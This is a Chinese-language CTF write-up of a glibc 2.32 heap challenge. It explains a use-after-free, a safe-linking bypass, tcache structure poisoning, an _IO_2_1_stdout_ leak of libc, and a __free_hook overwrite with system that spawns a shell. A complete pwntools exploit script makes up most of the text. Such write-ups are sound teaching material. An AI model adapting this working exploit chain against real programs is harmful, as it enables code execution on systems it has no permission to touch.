题目分析
存在增删改查功能
add 最大申请0x80的堆块,且不能超过16个
dele free堆块后未作清零操作,存在uaf
show 只能show1次
edit 功能只能修改2次
利用思路
泄露堆块基址
由于程序中dele功能free掉堆块后并未对指针做清空操作,所以这里直接可以打印出safe-linking后的堆块基地址
1 2 3 4 5 6 7
| add(0x80,"a"*8) dele() show() heap_base = u64(sh.recv(6).ljust(8,"\x00"))*0x1000
log.info("heap_base => 0x%x",heap_base) tcache_addr = heap_base + 0x10
|
绕过safe-linking及泄露main_arena
利用uaf申请堆块到tcache的结构体中,这里绕过safe-linking很简单,对着源码 反向偏移,在异或一下原先的地址即可完成绕过
1 2 3 4
| tcache_addr = heap_base + 0x10 edit(p64(0)*2) dele() edit(p64(tcache_addr^(tcache_addr>>12))+p64(tcache_addr))
|
之后正常情况下我们只用修改在tcache中大于0x80的堆块的数量位为7之后
再free掉一个堆块就可泄露出*main_arena的地址*
但由于程序限制只有两次edit的功能,所以就要避开常规的思路来另辟蹊径了。
通过malloc(heap_base+0x10)
将堆块申请到tcache的结构体中,从而使tcache成为一个可使用的合法堆块(为什么要0x290是因为这里不能太小,否则在后续里的利用中会占用小堆快的数量位,而0x290却又是一个现成可利用的存在size位的堆块)
1 2 3 4 5 6 7
| edit(p64(tcache_addr^(tcache_addr>>12))+p64(tcache_addr)) add(0x80,"b"*8)
add(0x80,(p64(0)*9)+p64(0x0007000000000000))
dele()
|
再将该堆块free掉,即可得到main_arena+96
的地址
详细的libc_2.32 分析可以看这篇文章 https://www.anquanke.com/post/id/236186
控制IO_stdout打印libc
到这里之后我们得到的就是一个与tcache结构体重叠且被free过后的0x290的堆块,而tcache的话我们都知道存在一个控制器对应着每一个堆块数量的fd指针,上面保存着该大小堆快下一个要申请的堆块地址,接下来我们就是要控制0x50的下一个堆块地址指向IO_stdout中
正常来讲,如果要控制该地址指向IO结构体中,只需要我们将上一步申请的堆块地址(tcache+0x10)修改为这个地址的-0x8
处,即可将main_arena的地址落到该控制器上,继而再用edit功能修改main_arena后4位为stdout的地址即可
但是这里我们已经没有edit功能可用,就只能利用add功能来一步步对0x290这个被free过后的堆块进行布局,最终将堆块申请到0x50bins控制器-0x8
的地址上了,也就是0x290的bk放到tcache的控制器上
而在这个同时,我们要提前布置好一些存在于tcache中0x50和0x80 堆块的数量
1
| add(0x80,p64(0x0001000000000000)+p64(0x0000000100000000))
|
之后malloc一个0x10的堆块,带上size位也就是0x20大小,使新建的bk指针正好落在tcache 0x50堆块的控制器上,进而在对末位4位进行覆盖,覆盖为IO_stdout的地址。与此同时当申请下一个堆块时,也可以控制tcache中0x80堆块的控制器
1
| add(0x10,p64(0)+b'\xc0\x16')
|
接下来,先申请堆块到IO_stdout上,来泄露libc_base
1 2 3 4 5 6 7 8 9
| add(0x40,p64(0xfbad1800)+p64(1)*3+'\x00') std_out132 = u64(sh.recv(6).ljust(8,"\x00")) success("std_out132 => 0x%x",std_out132) libc_base = (std_out132 - 132) - libc.sym["_IO_2_1_stdout_"] free_hook = libc_base + libc.sym["__free_hook"] system = libc_base + libc.sym["system"] success("system => 0x%x",system) success("libc_base => 0x%x",libc_base) success("free_hook => 0x%x",free_hook)
|
Getshell
至此泄露处libc后计算free_hook与system的地址,再继续malloc堆块,先将该堆块申请到tcache中的0x80的地方,并把地址填充为free_hook的地址
1
| add2(0x20,p64(free_hook))
|
(这里对应着前面的add(0x80,p64(0x0001000000000000)+p64(0x0000000100000000))
)
之后再次申请到的堆块便是free_hook的地址,并直接填充上system地址后,通过新建包含”/bin/sh”字符串的堆块进行free,最后getshell
1 2 3
| add2(0x70,p64(system)) add2(0x10,"/bin/sh\x00") dele()
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146
|
import os import sys import subprocess from pwn import * from one_gadget import generate_one_gadget
context.terminal = ["tmux","new-window"] context.log_level = "debug"
def RemPro(ip='',port=''): global sh,elf,libc,one_ggs elf_addr = "./pwn" libc_addr = "./libc.so.6" pro_libc = "./libc.so.6" if len(sys.argv) > 2 : sh = remote(sys.argv[1],sys.argv[2]) try: libc = ELF(pro_libc) libc_addr = pro_libc except: log.info("No set Remote_libc...") libc = ELF(libc_addr) else: libc = ELF(libc_addr) try: sh = remote(ip,port) libc = ELF(pro_libc) libc_addr = pro_libc except: sh = process(elf_addr) elf = ELF(elf_addr) return 1
def debug(cmd=""): if len(sys.argv) <= 2: log.progress("Loading Debug....") gdb.attach(sh,cmd)
def shell_code(fw): if fw == 32: return asm(shellcraft.sh()) elif fw == 64: return asm(shellcraft.amd64.linux.sh())
def one_gadget(filename): log.progress("Leak One_Gadgets...") return map(int, subprocess.check_output(['one_gadget', '--raw','-f', filename]).split(' '))
def exp(): def add(size,content): sh.recvuntil(">>") sh.sendline("1") sh.recvuntil("Size:\n") sh.sendline(str(size)) sh.recvuntil("Content:\n") sh.send(str(content)) def dele(): sh.recvuntil(">>") sh.sendline("2") def show(): sh.recvuntil(">>") sh.sendline("3") def edit(content): sh.recvuntil(">>") sh.sendline("5") sh.recvuntil("Content:\n") sh.send(str(content)) def add2(size,content): sh.recvuntil(">>") sh.sendline("1") sh.recvuntil("Size:") sh.sendline(str(size)) sh.recvuntil("Content:") sh.send(str(content)) add(0x80,"a"*8) dele() show() heap_base = u64(sh.recv(6).ljust(8,"\x00"))*0x1000 log.info("heap_base => 0x%x",heap_base) tcache_addr = heap_base + 0x10 edit(p64(0)*2) dele() edit(p64(tcache_addr^(tcache_addr>>12))+p64(tcache_addr)) add(0x80,"b"*8) add(0x80,(p64(0)*9)+p64(0x0007000000000000)) dele() add(0x80,p64(0x0001000000000000)+p64(0x0000000100000000)) add(0x10,p64(0)+'\xc0\x16') add(0x40,p64(0xfbad1800)+p64(1)*3+'\x00') std_out132 = u64(sh.recv(6).ljust(8,"\x00")) success("std_out132 => 0x%x",std_out132) libc_base = (std_out132 - 132) - libc.sym["_IO_2_1_stdout_"] free_hook = libc_base + libc.sym["__free_hook"] system = libc_base + libc.sym["system"] success("system => 0x%x",system) success("libc_base => 0x%x",libc_base) success("free_hook => 0x%x",free_hook) add2(0x20,p64(free_hook))
add2(0x70,p64(system)) add2(0x10,"/bin/sh\x00") dele()
return sh def exp_2():
if __name__=="__main__": RemPro() if len(sys.argv) > 3 : eval(sys.argv[3])() elif (len(sys.argv)>1 and len(sys.argv)<3): eval(sys.argv[1])() else: exp() sh.interactive()
|